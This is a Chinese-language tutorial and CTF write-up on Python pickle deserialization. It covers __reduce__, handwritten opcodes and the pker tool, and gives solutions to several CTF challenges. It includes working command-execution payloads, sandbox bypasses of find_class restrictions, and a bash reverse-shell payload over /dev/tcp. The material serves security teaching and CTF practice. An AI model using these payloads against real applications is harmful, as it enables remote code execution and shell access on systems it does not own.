pickle反序列化
参考这篇:文章 - pickle反序列化初探 - 先知社区
可序列化的对象
None
、 True
和 False
- 整数、浮点数、复数
- str、byte、bytearray
- 只包含可封存对象的集合,包括 tuple、list、set 和 dict
- 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
- 定义在模块最外层的内置函数
- 定义在模块最外层的类
__dict__
属性值或 __getstate__()
函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)
object.__reduce__()
函数
- 在开发时,可以通过重写类的
object.__reduce__()
函数,使之在被实例化时按照重写的方式进行。具体而言,python要求 object.__reduce__()
返回一个 (callable, ([para1,para2...])[,...])
的元组,每当该类的对象被unpickle时,该callable就会被调用以生成对象(该callable其实是构造函数)。
- 在下文pickle的opcode中,
R
的作用与 object.__reduce__()
关系密切:选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数。其实 R
正好对应 object.__reduce__()
函数, object.__reduce__()
的返回值会作为 R
的作用对象,当包含该函数的对象被pickle序列化时,得到的字符串是包含了 R
的。
漏洞利用
利用思路
- 任意代码执行或命令执行。
- 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的。
pickle EXP的简单demo
1
2
3
4
5
6
7
8
9
10
11
12
|
import pickle
import os
class genpoc(object):
def __reduce__(self):
s = """echo test >poc.txt""" # 要执行的命令
return os.system, (s,) # reduce函数必须返回元组或字符串
e = genpoc()
poc = pickle.dumps(e)
print(poc) # 此时,如果 pickle.loads(poc),就会执行命令
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import pickle
key1 = b'321'
key2 = b'123'
class A(object):
def __reduce__(self):
return (exec,("key1=b'1'\nkey2=b'2'",))
a = A()
pickle_a = pickle.dumps(a)
print(pickle_a)
pickle.loads(pickle_a)
print(key1, key2)
|
如何手写opcode
- 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用
__reduce__
来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
- 在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
- 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。下文中,所有opcode为版本0的opcode。
opcode |
描述 |
具体写法 |
栈上的变化 |
memo上的变化 |
c |
获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包) |
c[module]\n[instance]\n |
获得的对象入栈 |
无 |
o |
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) |
o |
这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
无 |
i |
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) |
i[module]\n[callable]\n |
这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
无 |
N |
实例化一个None |
N |
获得的对象入栈 |
无 |
S |
实例化一个字符串对象 |
S’xxx’\n(也可以使用双引号、'等python字符串形式) |
获得的对象入栈 |
无 |
V |
实例化一个UNICODE字符串对象 |
Vxxx\n |
获得的对象入栈 |
无 |
I |
实例化一个int对象 |
Ixxx\n |
获得的对象入栈 |
无 |
F |
实例化一个float对象 |
Fx.x\n |
获得的对象入栈 |
无 |
R |
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 |
R |
函数和参数出栈,函数的返回值入栈 |
无 |
. |
程序结束,栈顶的一个元素作为pickle.loads()的返回值 |
. |
无 |
无 |
( |
向栈中压入一个MARK标记 |
( |
MARK标记入栈 |
无 |
t |
寻找栈中的上一个MARK,并组合之间的数据为元组 |
t |
MARK标记以及被组合的数据出栈,获得的对象入栈 |
无 |
) |
向栈中直接压入一个空元组 |
) |
空元组入栈 |
无 |
l |
寻找栈中的上一个MARK,并组合之间的数据为列表 |
l |
MARK标记以及被组合的数据出栈,获得的对象入栈 |
无 |
] |
向栈中直接压入一个空列表 |
] |
空列表入栈 |
无 |
d |
寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) |
d |
MARK标记以及被组合的数据出栈,获得的对象入栈 |
无 |
} |
向栈中直接压入一个空字典 |
} |
空字典入栈 |
无 |
p |
将栈顶对象储存至memo_n |
pn\n |
无 |
对象被储存 |
g |
将memo_n的对象压栈 |
gn\n |
对象被压栈 |
无 |
0 |
丢弃栈顶对象 |
0 |
栈顶对象被丢弃 |
无 |
b |
使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 |
b |
栈上第一个元素出栈 |
无 |
s |
将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 |
s |
第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
无 |
u |
寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 |
u |
MARK标记以及被组合的数据出栈,字典被更新 |
无 |
a |
将栈的第一个元素append到第二个元素(列表)中 |
a |
栈顶元素出栈,第二个元素(列表)被更新 |
无 |
e |
寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 |
e |
MARK标记以及被组合的数据出栈,列表被更新 |
无 |
全局变量覆盖
python源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
# secret.py
name='TEST3213qkfsmfo'
# main.py
import pickle
import secret
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
print('before:',secret.name)
output=pickle.loads(opcode.encode())
print('output:',output)
print('after:',secret.name)
|
首先,通过 c
获取全局变量 secret
,然后建立一个字典,并使用 b
对secret进行属性设置,使用到的payload:
1
2
3
4
5
|
opcode='''c__main__
secret
(S'name'
S'1'
db.'''
|
函数执行
与函数执行相关的opcode有三个: R
、 i
、 o
,所以我们可以从三个方向进行构造:
R
:
1
2
3
4
|
b'''cos
system
(S'whoami'
tR.'''
|
i
:
1
2
3
4
|
b'''(S'whoami'
ios
system
.'''
|
o
:
1
2
3
4
|
b'''(cos
system
S'whoami'
o.'''
|
实例化对象
实例化对象是一种特殊的函数执行,这里简单的使用 R
构造一下,其他方式类似:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
class Student:
def __init__(self, name, age):
self.name = name
self.age = age
data=b'''c__main__
Student
(S'XiaoMing'
S"20"
tR.'''
a=pickle.loads(data)
print(a.name,a.age)
|
CTF实战
做题之前:了解pickle.Unpickler.find_class()
由于官方针对pickle的安全问题的建议是修改find_class()
,引入白名单的方式来解决,很多CTF题都是针对该函数进行,所以搞清楚如何绕过该函数很重要。
什么时候会调用find_class()
:
- 从opcode角度看,当出现
c
、i
、b'\x93'
时,会调用,所以只要在这三个opcode直接引入模块时没有违反规则即可。
- 从python代码来看,
find_class()
只会在解析opcode时调用一次,所以只要绕过opcode执行过程,find_class()
就不会再调用,也就是说find_class()
只需要过一次,通过之后再产生的函数在黑名单中也不会拦截,所以可以通过__import__
绕过一些黑名单。
Code-Breaking:picklecode
题目将pickle能够引入的模块限定为builtins
,并且设置了子模块黑名单:{'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
,于是我们能够直接利用的模块有:
builtins
模块中,黑名单外的子模块。
- 已经
import
的模块:io
、builtins
(需要先利用builtins
模块中的函数)
黑名单中没有getattr
,所以可以通过getattr
获取io
或builtins
的子模块以及子模块的子模块:),而builtins
里有eval、exec
等危险函数,即使在黑名单中,也可以通过getattr
获得。pickle不能直接获取builtins
一级模块,但可以通过builtins.globals()
获得builtins
;这样就可以执行任意代码了。payload为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
|
watevrCTF-2019:Pickle Store
因为题目是黑盒,所以没有黑白名单限制,直接改cookie反弹shell即可。payload:
1
2
3
4
5
|
b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'"
tR.
'''
|
pker的使用
可以使用pker进行原变量覆盖、函数执行、实例化新的对象。
使用方法与示例
- pker中的针对pickle的特殊语法需要重点掌握(后文给出示例)
- 此外我们需要注意一点:python中的所有类、模块、包、属性等都是对象,这样便于对各操作进行理解。
- pker主要用到
GLOBAL、INST、OBJ
三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价
GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)
INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para
OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para
xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)
li[0]=321
或
globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值
xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置
return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)
|
注意:
- 由于opcode本身的功能问题,pker肯定也不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如
getattr
、dict.get
)才能进行。但是因为存在s
、u
、b
操作符,作为右值是可以的。即“查值不行,赋值可以”。
- pker解析
S
时,用单引号包裹字符串。所以pker代码中的双引号会被解析为单引号opcode:
1
2
|
test="123"
return test
|
被解析为:
pker:全局变量覆盖
- 覆盖直接由执行文件引入的
secret
模块中的name
与category
变量:
1
2
3
4
|
secret=GLOBAL('__main__', 'secret')
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'
|
1
2
|
game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'
|
接下来会给出一些具体的基本操作的实例。
pker:函数执行
1
2
3
4
|
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return
|
1
|
INST('os', 'system', 'whoami')
|
1
|
OBJ(GLOBAL('os', 'system'), 'whoami')
|
1
2
|
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])
|
pker:实例化对象
1
2
3
4
5
6
7
8
|
animal = INST('__main__', 'Animal','1','2')
return animal
# 或者
animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal
|
1
2
3
4
5
|
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
|
1
2
3
4
|
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal
|
手动辅助
- 拼接opcode:将第一个pickle流结尾表示结束的
.
去掉,两者拼接起来即可。
- 建立普通的类时,可以先pickle.dumps,再拼接至payload。
CTF实战
Code-Breaking: picklecode
解析思路见前文手写opcode的CTF实战部分,pker代码为:
1
2
3
4
5
6
7
8
|
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
eval=getattr(builtins,'eval')
eval('print("123")')
return
|
BalsnCTF:pyshv1
题目的find_class
只允许sys
模块,并且对象名中不能有.
号。意图很明显,限制子模块,只允许一级模块。
sys
模块有一个字典对象modules
,它包含了运行时所有py程序所导入的所有模块,并决定了python引入的模块,如果字典被改变,引入的模块就会改变。modules
中还包括了sys
本身。我们可以利用自己包含自己这点绕过限制,具体过程为:
- 由于
sys
自身被包含在自身的子类里,我们可以利用这点使用s
赋值,向后递进一级,引入sys.modules
的子模块:sys.modules['sys']=sys.modules
,此时就相当于sys=sys.modules
。这样我们就可以利用原sys.modules
下的对象了,即sys.modules.xxx
。
- 首先获取
modules
的get
函数,然后类似于上一步,再使用s
把modules
中的sys
模块更新为os
模块:sys['sys']=sys.get('os')
。
- 使用
c
获取system
,之后就可以执行系统命令了。
整个利用过程还是很巧妙的,pker代码为:
1
2
3
4
5
6
7
8
|
modules=GLOBAL('sys', 'modules')
modules['sys']=modules
modules_get=GLOBAL('sys', 'get')
os=modules_get('os')
modules['sys']=os
system=GLOBAL('sys', 'system')
system('whoami')
return
|
BalsnCTF:pyshv2
与v1类似,题目的find_class
只允许structs
模块,并且对象名中不能有.
号,只允许一级模块。其中,structs
是个空模块。但是在find_class
中调用了__import__
函数:
1
2
3
4
5
6
7
|
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module not in whitelist or '.' in name:
raise KeyError('The pickle is spoilt :(')
module = __import__(module) # 注意这里调用了__import__
return getattr(module, name)
|
注意python的以下几条性质:
__builtins__
是所有模块公有的字典,记录所有内建函数,可以通过对__builtins__
内相应key对应函数的修改劫持相应的函数。由于题目调用了__import__
函数,我们可以通过修改__import__
劫持getattr
函数。
__dict__
列表储存并决定了一个对象的所有属性,如果其内容被改变,属性也会改变。
c
的实现过程调用了find_class
函数(顺带一提,它实际上是先import
再调用find_class
,但是由于python的import语句其实是使用了五个参数调用的__import
,无法利用),而本题的find_class
中多调用了一次__imoprt__
,随后调用getattr
,这包含了一个查值的过程,这一点很重要。
然后我们理一下利用过程:
- 目标:
structs.__builtins__['eval']
→需要structs.__builtins__.get
函数。
- 实现二级跳转:劫持
__import__
为structs.__getattribute__
,opcodecstructs
变为structs.__getattribute__(structs).xxx
。
- 结合1、2:
structs.__getattribute__(structs)
要返回structs.__builtins__
;xxx则设置为get。
- 利用
structs.__dict__
对structs
赋值新属性structs.structs
为structs.__builtins__
,以便structs.__getattribute__(structs)
返回structs.__builtins__
。
pker实现:
1
2
3
4
5
6
7
8
9
|
__dict__ = GLOBAL('structs', '__dict__') # structs的属性dict
__builtins__ = GLOBAL('structs', '__builtins__') # 内建函数dict
gtat = GLOBAL('structs', '__getattribute__') # 获取structs.__getattribute__
__builtins__['__import__'] = gtat # 劫持__import__函数
__dict__['structs'] = __builtins__ # 把structs.structs属性赋值为__builtins__
builtin_get = GLOBAL('structs', 'get') # structs.__getattribute__('structs').get
eval = builtin_get('eval') # structs.structs['eval'](即__builtins__['eval']
eval('print(123)')
return
|